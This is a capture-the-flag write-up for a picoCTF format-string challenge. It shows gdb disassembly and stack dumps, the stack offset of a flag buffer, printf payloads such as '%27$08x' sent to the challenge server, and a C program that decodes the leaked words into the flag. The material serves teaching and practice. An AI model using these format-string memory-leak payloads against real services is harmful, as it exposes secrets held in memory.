let's open the executable locally with gdb and have a look at the stack before the format string gets executed
```——> gdb echoReading symbols from echo...(no debugging symbols found)...done.gdb-peda$ disas mainDump of assembler code for function main:   0x080485fb <+0>:	lea    ecx,[esp+0x4][..]0x080486ff <+260>:	call   0x8048490 <exit@plt>0x08048704 <+265>:	sub    esp,0x40x08048707 <+268>:	push   DWORD PTR [ebp-0x90]0x0804870d <+274>:	push   0x400x0804870f <+276>:	lea    eax,[ebp-0x4c]0x08048712 <+279>:	push   eax0x08048713 <+280>:	call   0x8048460 <fgets@plt> <-- fgets(flag, sizeof(flag), file);0x08048718 <+285>:	add    esp,0x10[..]0x08048742 <+327>:	add    esp,0x100x08048745 <+330>:	sub    esp,0xc0x08048748 <+333>:	lea    eax,[ebp-0x8c]0x0804874e <+339>:	push   eax0x0804874f <+340>:	call   0x8048450 <printf@plt>0x08048754 <+345>:	add    esp,0x100x08048757 <+348>:	jmp    0x804871b <main+288>End of assembler dump.gdb-peda$ b *0x0804874fBreakpoint 1 at 0x804874fgdb-peda$ rStarting program: /home/andrei/Documents/pico/echoTime to learn about Format Strings!We will evaluate any format string you give us with printf().See if you can get the flag!> AAAABBBBBreakpoint 1, 0x0804874f in main ()gdb-peda$```
looking at the disassembly of main we can also get the address of the ```flag``` variable; the call to the fgets that reads the flag.txt file is at main+280, and just before that the flag buffer is pushed on the stack from eax to pass it as argument. the address is loaded on eax the line before with ```lea    eax,[ebp-0x4c]``` so there's our buffer:
```gdb-peda$ x/wx $ebp-0x4c0xffffd8fc:	0x6f636970```
and here's the stack prior to the printf
```gdb-peda$ x/64wx $esp0xffffd890:	0xffffd8bc	0x00000040	0xf7f95580	0x080486470xffffd8a0:	0xf7ffc8e4	0xf63d4e2e	0xf7ffdacc	0xffffd9f40xffffd8b0:	0xffffd8fc	0x000003e8	0x0804b160	0x414141410xffffd8c0:	0x42424242	0x0000000a	0x00000000	0x000000000xffffd8d0:	0x00000000	0x00000000	0x00000000	0x000000000xffffd8e0:	0x00000000	0x00000000	0x00000000	0x000000000xffffd8f0:	0x00000000	0x00000000	0x00000000	0x6f6369700xffffd900:	0x7b465443	0x6b6e6166	0x7d6f6c75	0xf7f9000a0xffffd910:	0xf7f94e24	0xf7f94e24	0x00000000	0xf7dedafb0xffffd920:	0xf7f953bc	0x00040000	0x00000003	0x080487ab0xffffd930:	0x00000001	0xffffd9f4	0xffffd9fc	0x0fec1a000xffffd940:	0xf7fe4150	0xffffd960	0x00000000	0xf7dd6b410xffffd950:	0xf7f94e24	0xf7f94e24	0x00000000	0xf7dd6b410xffffd960:	0x00000001	0xffffd9f4	0xffffd9fc	0xffffd9840xffffd970:	0x00000001	0x00000000	0xf7f94e24	0xffffffff0xffffd980:	0xf7ffcfb4	0x00000000	0xf7f94e24	0xf7f94e24```
so our input begins at 0xffffd8bc and the flag begins at 0xffffd8fc;also the flag buf is the 27th word on the stack, we can check that with the format string:
```Time to learn about Format Strings!We will evaluate any format string you give us with printf().See if you can get the flag!> 0x%27$08x0x6f636970```
bingo. now we just need to read the flag. after ```nc```ing on the server we try to read the flag string:
```——> nc 2018shell3.picoctf.com 23397Time to learn about Format Strings!We will evaluate any format string you give us with printf().See if you can get the flag!> %27stimeout: the monitored command dumped core```
but that leads to core dump. so we can read the words and translate them to string locally
```——> nc 2018shell3.picoctf.com 23397Time to learn about Format Strings!We will evaluate any format string you give us with printf().See if you can get the flag!> 0x%27$08x_0x%28$08x_0x%29$08x_0x%30$08x_0x%31$08x_0x%32$08x_0x6f636970_0x7b465443_0x6d526f66_0x735f7434_0x6e695274_0x615f7347_```
after we have all the words we can write a C program to read the flag:
```#include <stdio.h>
int main(void) {
	int s[] = {0x6f636970, 0x7b465443, 0x6d526f66, 0x735f7434,  			0x6e695274, 0x615f7347, 0x445f6552, 0x65476e61,  			0x73753072, 0x3435325f, 0x61383431, 0x000a7d65,  			0x080487ab, 0x00000001, 0x00};
	printf("%s\n", (char *) s);
	return 0;}```
```——> gcc -m32 decode.c -o decode——> ./decodepicoCTF{foRm4t_stRinGs_aRe_DanGer0us_254148ae}```